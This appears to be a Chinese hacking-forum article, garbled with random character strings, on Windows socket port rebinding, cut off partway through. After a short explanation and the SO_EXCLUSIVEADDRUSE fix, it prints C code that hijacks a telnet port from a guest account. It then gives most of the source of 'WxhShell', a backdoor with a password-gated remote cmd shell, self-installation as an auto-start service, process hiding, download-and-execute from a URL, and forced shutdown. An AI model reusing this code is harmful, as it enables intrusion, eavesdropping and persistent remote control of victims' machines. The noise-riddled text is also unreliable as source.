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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: QR"bYQ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0|XKd24BN b`CWp;6Y saddr.sin_family = AF_INET; ;
0ko@ \Lq .:y5U}vR saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^s{hs(8%R :p>hW!~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ma6W@S ZenPw1 - 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 S`iR9{+& L-\ =J 这意味着什么?意味着可以进行如下的攻击: d(7NO;S8 g9KTn4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 aMTFW_w ^Kqf~yS% 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Au.:OeJm .9h)bf+ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k_aW DM),|Nq" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 c?K~/bx. Ei5 wel6! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 i#W*' 5HKW"=5Cf 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^.goO] Izo! rC 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %NajFjBI bik*ZC?E #include >(3\kiYS #include cp6WMHLj #include U
O<:.6" #include g97]Y1g DWORD WINAPI ClientThread(LPVOID lpParam); r:&|vP int main() xAhxD|4_ { sJZ!sznn WORD wVersionRequested; 8TWTbQ DWORD ret; WVX`< WSADATA wsaData; Qi9-z' BOOL val; E0 l_-- SOCKADDR_IN saddr; Y3'," SOCKADDR_IN scaddr; OgCy4_a[f int err; wLJ]&puwm SOCKET s; tous#(&pK SOCKET sc; oyx^a9 int caddsize; E m{aM HANDLE mt; XOy2lJ/ DWORD tid; }Ln@R~[ wVersionRequested = MAKEWORD( 2, 2 ); ~/-eyxLTm err = WSAStartup( wVersionRequested, &wsaData ); -rSIBc:$8 if ( err != 0 ) { #0"~G][# printf("error!WSAStartup failed!\n"); +(?>-3_z return -1; U \oy8FZ } >#(n"RCHf saddr.sin_family = AF_INET; !HK^AwNY C#Bz>2;# //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |<qs nJZ6?
V saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); H(-4:BD? saddr.sin_port = htons(23); Ne6}oQy(S` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 60}! LmL { 9$1)k;ChP/ printf("error!socket failed!\n"); / T
c= return -1; |/`%3'4H } b]Z@^<_E val = TRUE; aFj.i8+ //SO_REUSEADDR选项就是可以实现端口重绑定的 q%/uQT? if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cYNV\b4- { y\c"b-lQX printf("error!setsockopt failed!\n"); ,Zf
9RM return -1; o[\HOe~; } /rc%O*R //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1(#;&:$`i //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Sq2P-y!w //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 NHQF^2 \\ M+P$/Wk if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jO~:<y3
= { X~9j$3lUBR ret=GetLastError(); =L-I-e97@ printf("error!bind failed!\n"); {~Tg7<\L return -1; ,
YW|n:X } ;xYNX
listen(s,2); s!+
pL| while(1) ?]O7Ao { e}yX_Z'P< caddsize = sizeof(scaddr); Vw{*P2v) //接受连接请求 g);^NAA sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0?DC00O if(sc!=INVALID_SOCKET) EbY,N:LK { ';B#Gx mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,&^3Z if(mt==NULL) ,)FdRRj { aA'TD:&p1 printf("Thread Creat Failed!\n"); B4Y(?JTx break; #*%q'gyHT } vH[47Cv G5 } Nw_@A8-r CloseHandle(mt); #qBr/+b }
nY%5cJ`" closesocket(s); YB( Gk;] WSACleanup(); t=
#&fSR return 0; 5z}w}zdg } lSwcL DWORD WINAPI ClientThread(LPVOID lpParam) J3RB]O_ { W_|0y4QOo SOCKET ss = (SOCKET)lpParam; 0%Ll SOCKET sc; fxcc<h4 unsigned char buf[4096]; Jju#iwb SOCKADDR_IN saddr; r=uN9ro long num; o{qr!*_3 DWORD val; X2sH E DWORD ret; n/d`qS //如果是隐藏端口应用的话,可以在此处加一些判断 ?%tMohL //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 2B0W~x2= saddr.sin_family = AF_INET; /phX'xp saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -Apc$0ZsN saddr.sin_port = htons(23); 7cDU2l if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {7hLsK[]) { sic"pn],U printf("error!socket failed!\n"); BaI $S>/Q return -1; Ws U)Y& }
mEG6 val = 100;
uF|3/x= if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n.MRz WJpZ { )- 15 N ret = GetLastError(); S0,R_d') return -1; nQX+pkJ } (IqZ@->nw if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (& "su3z { hXIro ret = GetLastError(); HAz By\M{ return -1; |077Sf| } 3rW|kkn if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'NjzgZ~]P { Rk<@?(l!6x printf("error!socket connect failed!\n"); E51dV:l closesocket(sc); }_/Hdmmx closesocket(ss); kl!wVLE return -1; p@!nYPr. } Z%zj";C
G while(1) $
i)bq6 { ^ 2GHe<Y //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2,2Z`X //如果是嗅探内容的话,可以再此处进行内容分析和记录 (/d5UIM{& //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 94uNI8 num = recv(ss,buf,4096,0); }"vW4 if(num>0) vy2Q g
send(sc,buf,num,0); Y`7~Am/r;& else if(num==0) j`'`)3f break; T3UMCqc= num = recv(sc,buf,4096,0); zLs|tJOVp if(num>0) @+vXMJ $ send(ss,buf,num,0); ,j;m!V else if(num==0) )UgX3+@ break; S1Z2_V } kE>0M9EdH closesocket(ss); o./.Q9e7 closesocket(sc); FuG4F return 0 ; .;y# } 'FlJpA} 6=4wp? El_wdbbT ========================================================== nkxzk$ Hgeg@RP
Q 下边附上一个代码,,WXhSHELL O RGD XZ&KR.C, ========================================================== +d+@u)6 w\54j)rb #include "stdafx.h" F>tQn4 h5%<+D< #include <stdio.h> (Fq5IGs #include <string.h> @2pu^k^ #include <windows.h> C*U'~qRK #include <winsock2.h> n55Pv3}C #include <winsvc.h> v(*C%.M) #include <urlmon.h> 9CA^B2u UDhG : #pragma comment (lib, "Ws2_32.lib") =9oPowq #pragma comment (lib, "urlmon.lib") 2"|2a@ p.ANVA@: #define MAX_USER 100 // 最大客户端连接数 B\J^=W+` #define BUF_SOCK 200 // sock buffer 9TF f8'?d #define KEY_BUFF 255 // 输入 buffer GRb*EeT T2}FYVj?!g #define REBOOT 0 // 重启 S6}@I ,Q #define SHUTDOWN 1 // 关机 u p.Q>28r l Z#o+d2Y #define DEF_PORT 5000 // 监听端口 /V3=KY`_J w%WF-:u7| #define REG_LEN 16 // 注册表键长度 A(?\>X
9g #define SVC_LEN 80 // NT服务名长度 1(|D'y# IG(?xf\C // 从dll定义API 4&8Gr0C typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P\8@g U!uk typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1h6^>()^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6x"Q
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aQI^^$9g 2*(Z==XC7 // wxhshell配置信息 :4~g;2oag struct WSCFG { ^TMJ8`e int ws_port; // 监听端口 `:P
char ws_passstr[REG_LEN]; // 口令 hN['7:bQ int ws_autoins; // 安装标记, 1=yes 0=no 3qY K_M^[ char ws_regname[REG_LEN]; // 注册表键名 5H=ko8fZ= char ws_svcname[REG_LEN]; // 服务名 1;Pv0&[q/ char ws_svcdisp[SVC_LEN]; // 服务显示名 >zDF2Y[ char ws_svcdesc[SVC_LEN]; // 服务描述信息 h;=6VgXZ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DI!V^M[~u int ws_downexe; // 下载执行标记, 1=yes 0=no Gpm{m:$L char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" q o<&J f char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *x)Ozfe 763+uFx^ }; &/Ro lIHF K3\#E/Ox // default Wxhshell configuration t){"Tfc: struct WSCFG wscfg={DEF_PORT, IbcZ@'RSw "xuhuanlingzhe", {Fzs@,|W. 1, f;}EhG' "Wxhshell", !"e5~7 "Wxhshell", \~LQ%OM "WxhShell Service", dt~YW "Wrsky Windows CmdShell Service", ZeG_en ; "Please Input Your Password: ", ]skkoM 1, P2nft2/eu? " http://www.wrsky.com/wxhshell.exe", *3T|M@Y "Wxhshell.exe" h" H2z1$ }; k}KC/d9.z "t^URp3 // 消息定义模块 hJzxbr
< char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <hwy*uBrD char *msg_ws_prompt="\n\r? for help\n\r#>"; a0Ik`8^` char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Fg Lrb# char *msg_ws_ext="\n\rExit."; _fZZ_0\Q char *msg_ws_end="\n\rQuit."; s7oT G! char *msg_ws_boot="\n\rReboot..."; *^([ ~[ char *msg_ws_poff="\n\rShutdown..."; ',GS#~ char *msg_ws_down="\n\rSave to "; "5eNLqt^q Q}S_%I}u: char *msg_ws_err="\n\rErr!"; }(egMx;"3J char *msg_ws_ok="\n\rOK!"; k</%YKk s?ko?qN( char ExeFile[MAX_PATH]; $T :un.TM int nUser = 0; -l%J/ : HANDLE handles[MAX_USER]; |+`c3*PV int OsIsNt; ID.n1i3 5OoN!TEM SERVICE_STATUS serviceStatus; }du XC[ 6 SERVICE_STATUS_HANDLE hServiceStatusHandle; :VF<9@t >DPB!XA3 // 函数声明 OgF+OS int Install(void); jE#O>3+. int Uninstall(void); gKOOHUCb int DownloadFile(char *sURL, SOCKET wsh); ,;M4jc{ int Boot(int flag); nenU)*o void HideProc(void); ~EK'&Y"1 int GetOsVer(void); O5H9Y}i] int Wxhshell(SOCKET wsl); = waA`Id void TalkWithClient(void *cs); ~tOAT;g}q int CmdShell(SOCKET sock); Q[+ac*F=Y int StartFromService(void); 31EyDU,W int StartWxhshell(LPSTR lpCmdLine); RZ1
/#; Fu^^i& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &K/FyY5 VOID WINAPI NTServiceHandler( DWORD fdwControl ); \^#~@9 _0gKK2 // 数据结构和表定义 _gD
pKEaY SERVICE_TABLE_ENTRY DispatchTable[] = M)sZSH.<O { 3pmWDG6L {wscfg.ws_svcname, NTServiceMain}, KFa_ {NULL, NULL} 1xv8gC:6 }; `GXkF:f= ?YeWH
WM // 自我安装 IF]lHB int Install(void) ={hX}"*D { JoSJH35=: char svExeFile[MAX_PATH]; OLI$1d_ HKEY key; waKT{5k strcpy(svExeFile,ExeFile); QJ|a p4r Bo5ZZY // 如果是win9x系统,修改注册表设为自启动 8( btZt if(!OsIsNt) { z"*/mP2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7z~_/mAI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r[?1 RegCloseKey(key); h[Gg}N! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^[15&T5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ew3ibXD RegCloseKey(key); 0j C3fT!n return 0; M`6y@< } h5yzwj:C? } #[#KL/i)$ } m~uOXb else { y*MF&mQ[ ':R,53tjl // 如果是NT以上系统,安装为系统服务 7mm1P9Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f-nz{U if (schSCManager!=0) .k[o$z\EkF { x1 1U@jd+1 SC_HANDLE schService = CreateService )*c>|7G ( <w\:<5e ' schSCManager, K!,<7[MBg wscfg.ws_svcname, _w*}\~`=^ wscfg.ws_svcdisp, I5h[%T SERVICE_ALL_ACCESS, [%&ZPJT%i SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , % >;#9"O4 SERVICE_AUTO_START, XR!us/U`a SERVICE_ERROR_NORMAL, Zf5`XslA. svExeFile, 2c?qV NULL, zXsc1erli NULL, oq*N_mP0
NULL, 'EFyIVezg9 NULL, } G<rt NULL ?aW^+3i ); <LRey%{q if (schService!=0) yUPIY:0 { pKS
{ 6P CloseServiceHandle(schService); {-BRt)L[ CloseServiceHandle(schSCManager); 1wW)tNKIF strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rxme(9M strcat(svExeFile,wscfg.ws_svcname); MQ)L:R`L if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sdCvG R e RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P=1I<Pew RegCloseKey(key); J9T3nTfL return 0; .vG,fuf8 } 7Ol}EPf# } H:H6b CloseServiceHandle(schSCManager); OCy0#aPRS } BnRN;bu } E\m5%bK\B M,}|tsL return 1; . @Ut?G } -YD+(c`l lO:.OZu // 自我卸载 jp' K%P int Uninstall(void) 2DD:~Tbi { 7 h y&-< HKEY key;
rxO2QQ%V fSDi-I if(!OsIsNt) { ~:km]?lz0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e?bYjJq RegDeleteValue(key,wscfg.ws_regname); 76.{0c RegCloseKey(key); +h_ !0dG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &uUo3qXQ5l RegDeleteValue(key,wscfg.ws_regname); >yJ9U,Y RegCloseKey(key); dz>;<&2Z return 0; a}Sd W } NA,CZ } CQ;]J=|<_ } HG'{J ^t else { y0~Ia:y 5X.e*; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `pd&se'p if (schSCManager!=0) 0b91y3R+ { (Toq^+`c SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d*pF> j if (schService!=0) wB>r(xQ' { {A|TowBN if(DeleteService(schService)!=0) { K\XyZ CloseServiceHandle(schService); jEXW CloseServiceHandle(schSCManager); y$81Zq return 0; >!6i3E^ } ,@z4I0cTi\ CloseServiceHandle(schService); 1+`l7'F } u9=SpgB# CloseServiceHandle(schSCManager); l<(Y_PE: } w<9>Q1( } 5BR5X\f0 w#i[_ return 1; ZDL']*)' } U}Hwto`R x ]5@>5 // 从指定url下载文件 ]\RRqLDzkg int DownloadFile(char *sURL, SOCKET wsh) FZiW|G { P\CDd=yWc HRESULT hr; )Z+{|^`kJ char seps[]= "/"; 2}?wYI*:5| char *token; l:]Nn%U(> char *file; YJxw 'U
>P char myURL[MAX_PATH]; Ff^@~X+W< char myFILE[MAX_PATH]; p#f+P? AGA`fRVx strcpy(myURL,sURL); =OJ;0 /$6 token=strtok(myURL,seps); ,a?\MM9$ while(token!=NULL) 1p`+ { SvvUkQ#1w file=token; TgU**JN) token=strtok(NULL,seps); <*H^(0 } uR6w|e` t]1ubt2W GetCurrentDirectory(MAX_PATH,myFILE); T2?HRx strcat(myFILE, "\\"); E99CmG|" strcat(myFILE, file); 2S`?hxAL send(wsh,myFILE,strlen(myFILE),0); sM1RU send(wsh,"...",3,0); EPW7+Ve hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c':ezEaC if(hr==S_OK) C9S@v D+ return 0; W&:[r/8wA else J` {6l return 1; [=*E+Oc Bqws!RM'&@ } rg(lCL&:S wxLXh6|6%_ // 系统电源模块 6`\]derSon int Boot(int flag) y%]8'q$ { a=GM[{og HANDLE hToken; "%8A:^1 TOKEN_PRIVILEGES tkp; A{o 'z_zC uQLlA&I" if(OsIsNt) { Y^"4?96 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1-I
Swd'u LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *5%*|> tkp.PrivilegeCount = 1; D}Ilyk_uUw tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q&'Lbxc>c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AV&yoag1 if(flag==REBOOT) { .DJDpP)M if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f<y&\'3 return 0; 'UM!*fk7C } SN+S6 else { Jeqxspn
T if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %>Xr5<$:& return 0; -U2mfW } sPNfbCOz } (g :p5Rl else { M/V(5IoP( if(flag==REBOOT) { +V v+K(lh$ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z*~YLT& return 0; t0PQ~|H<KV } NnxM3* else { ]8 U ~Iy if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )Du-_Z return 0; .&,[, } ST1Ts5I } *2u
E _J?SIm return 1; zW{ 6Eg } ;'RFo?u K )&W|QH=AI // win9x进程隐藏模块 pt:;9hA void HideProc(void) v@ONo?) { +I|8Q|^SD eNySJf HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h"QbA" if ( hKernel != NULL ) FN"rZWM { nYv#4* pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^6 /j_G ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x;$|#]+
FreeLibrary(hKernel); <Mgf]v.QS } (b/d0HCND ~
}KzJiL return; {ctwo X[; } .+#Lx;}) F 1|zXg) // 获取操作系统版本 Ph7pd int GetOsVer(void) KS!yT_O { =xEk7'W6k OSVERSIONINFO winfo; ;?6>mh(` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H$!-f>Rxa GetVersionEx(&winfo); 'ND36jHcRD if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FuP}Kec return 1; m% bE-# else jOv"< return 0; 2o{@nN8% } %= u/3b:o $>vy(Y // 客户端句柄模块 m^$5K's& int Wxhshell(SOCKET wsl) qMgfMhQ7DU { ^E@@YV SOCKET wsh; +BB0wY struct sockaddr_in client; < tQc_ DWORD myID; l=Wd,$\ 7u%a/ < while(nUser<MAX_USER) IlHY%8F{ { kJ8vKcc int nSize=sizeof(client); NM L|"R; wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }z'DWp=uN if(wsh==INVALID_SOCKET) return 1; Tx+ p8J|Yr g5R,% 6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #4y,a_) if(handles[nUser]==0) A o3HX closesocket(wsh); i>Iee^_( else Z H-5Qy_ nUser++; ce5nG0@# } M'u=H WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,RK3eQ ?vu|o'$T, return 0; ZO7bSxAN- } A^pW]r=Xtk N#Ag'i4HF // 关闭 socket GoeIjuELR void CloseIt(SOCKET wsh) *( *z|2 { 7Dl%UG] closesocket(wsh); <ZrFOb nUser--; hPPB45^ ExitThread(0); _W9&J&l0so } rbh[j@s@ zUQe0Gc.b^ // 客户端请求句柄 ]C)|+`XE@ void TalkWithClient(void *cs) t-lv|%+8 { }J;~P
9Y 1l]C5P}E SOCKET wsh=(SOCKET)cs; )VY10R)$ char pwd[SVC_LEN]; F!R2_89iy char cmd[KEY_BUFF]; ;C_ > char chr[1]; *aG"+c6| int i,j; *:#Z+7x
] Qu}N:P9l?X while (nUser < MAX_USER) { %]GV+!3S Vi,Y@+4 if(wscfg.ws_passstr) { Y`]rj-8f0B if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c(:Oyba //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b]K>vhQV //ZeroMemory(pwd,KEY_BUFF); WY.5K
=} i=0; #7C6yXb% while(i<SVC_LEN) { V2QW\2@$ JX&~y.F // 设置超时 ;Xh5oB\)W fd_set FdRead; [0(mFMC` struct timeval TimeOut; "3ug}k FD_ZERO(&FdRead); =AzOnXW:S FD_SET(wsh,&FdRead); j]4,6`b\ TimeOut.tv_sec=8; S~|tfJpL TimeOut.tv_usec=0; D2?S,9+E_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iPkT*Cl8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qzlER bZXlJa`'S if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); . =R=cA7 pwd =chr[0]; 5*XH6g F if(chr[0]==0xd || chr[0]==0xa) { _Ff".t<" pwd=0; }+JLn%H) break; W+/2c4$F3 } w<mqe0 i++; fU`T\ } /'"R Mq n531rkK- // 如果是非法用户,关闭 socket Hi7G/2t@` if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d1lH[r!Z } lux9o$ % rxArTpS{.# send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X_!$Pk7ma send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mVHFT~x7} }Oh5Nm) while(1) { _]_L F[ a^x
0 l ZeroMemory(cmd,KEY_BUFF); ja:\W\xhJ ME,duY/>Q // 自动支持客户端 telnet标准 8ur_/h7 j=0; r.Lx%LZ\^ while(j<KEY_BUFF) { sHF%=Vu if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '1lx{UzD cmd[j]=chr[0]; ) _#T c if(chr[0]==0xa || chr[0]==0xd) { |/t K-c6J cmd[j]=0; JQr36U break; ]ci RiMkT( } Qv74?B@ j++; | 4%v"U } >LCjtm\ ]svw
CPu C // 下载文件 zM)M_L if(strstr(cmd,"http://")) { I>!|3ElT send(wsh,msg_ws_down,strlen(msg_ws_down),0); .$OjUlzr-H if(DownloadFile(cmd,wsh)) 5 5a@)>h send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1k`|[l^
else ELD
+:b send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P0Aas)! } sbpu
qOL else { ,qYf#fU#7 w
zdxw$E switch(cmd[0]) { VgUvD1v?} hN!.@L // 帮助 3 k`NNA case '?': { Us*Vn send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DU(X,hDBF break; Scf.4~H 0 } A03I-^0g+
// 安装 PaA6Z": case 'i': { 1ME|G"$ ; if(Install()) !(}OBZ[* send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9B&
}7kk else >&g2 IvDS send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5NFq7&rJ6 break;
$.=5e3 } &C\=!r0j^ // 卸载 +~@7"
|d case 'r': { tYF$#Nor#k if(Uninstall()) EwC5[bRjUp send(wsh,msg_ws_err,strlen(msg_ws_err),0); }`?7\\6 else JHHb | send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '! #On/ break; u87=q^$ } rGGS]^ // 显示 wxhshell 所在路径
uT#Acg case 'p': { iz,]%<_PE char svExeFile[MAX_PATH]; T,A!5V>cX strcpy(svExeFile,"\n\r"); 5R&x{jf$ strcat(svExeFile,ExeFile); &%@/Dwr send(wsh,svExeFile,strlen(svExeFile),0); RT1{+:l break; [9'|7fdU } Fa6H(L3 // 重启 j'#)~>b case 'b': { 9@JlaY)0 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "K/[[wX\b if(Boot(REBOOT)) +?ws !LgF send(wsh,msg_ws_err,strlen(msg_ws_err),0); U;^CU!a else { j0Id!o closesocket(wsh); nYo&x' ExitThread(0); A&xab } tj`tLYOZ@- break; ]:[)KZ~ } 9<+;hH8J_r // 关机 vQ?MM&6 case 'd': { h2im
sjf send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vf@S8H if(Boot(SHUTDOWN)) mYzsTUq send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~5x4?2 else { m4wPuW closesocket(wsh); nNkyOaK*4 ExitThread(0); : Bdi pc } @&/s~3 break; 3U :YA&K( } cg>!<T* // 获取shell k8!hvJ)? case 's': { UUt~W CmdShell(wsh); @2-Hj~ closesocket(wsh); s|fCR ExitThread(0); jAD+:@ break; m9\@kA } z36brv<_'p // 退出 PmuEL@'^ U case 'x': { N`
@W% send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Yg\{S<wr CloseIt(wsh); 5]A$P\7~1 break; P]~N-xdV } m^W*[^p // 离开 ~N)( ^ 4 case 'q': { (MF+/fi send(wsh,msg_ws_end,strlen(msg_ws_end),0); @S/g,;7" closesocket(wsh); 44<9zHK WSACleanup(); ,I9][_ exit(1); }3
fLV break; FU [8:o62 } xg*\j)_} } lo IL{2 } v
Ie=wf~D` -N /8Ho // 提示信息 GqmDDL1 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N2+mN0k; } bUY:XmA } ,)B~cic'u SXT@& @E return; UBUB/NY } (Von;U W>aQ
tT // shell模块句柄 :8\*)"^E int CmdShell(SOCKET sock) 1[fkXO{ { -+j9X;h: STARTUPINFO si; KNO*)\
ZeroMemory(&si,sizeof(si)); op.PS{_t si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3[00-~&U si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'PmHBQvt& PROCESS_INFORMATION ProcessInfo; i{1)=_$Vt` char cmdline[]="cmd"; 8.q13t!D CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [N0/"> c return 0; k8Su/U } )D6'k{6 M sp=7Kh?|> // 自身启动模式 u`L!za7fi int StartFromService(void) V{a}#J { !.tL"U~4 typedef struct &"~,V6,q { [FeJ8P>z DWORD ExitStatus; mlsvP%[f. DWORD PebBaseAddress; gavQb3EP DWORD AffinityMask; p3,(*eZ DWORD BasePriority; n;S0fg ULONG UniqueProcessId; eY6gb!5u ULONG InheritedFromUniqueProcessId; @SF")j| } PROCESS_BASIC_INFORMATION; ^-csi WNF=NNO-R PROCNTQSIP NtQueryInformationProcess; W_e-7=6 "W,"qFx static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?h>%Ix static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .5Z,SGBf nkr, HANDLE hProcess; OW[/%U> PROCESS_BASIC_INFORMATION pbi; 0s+rd&
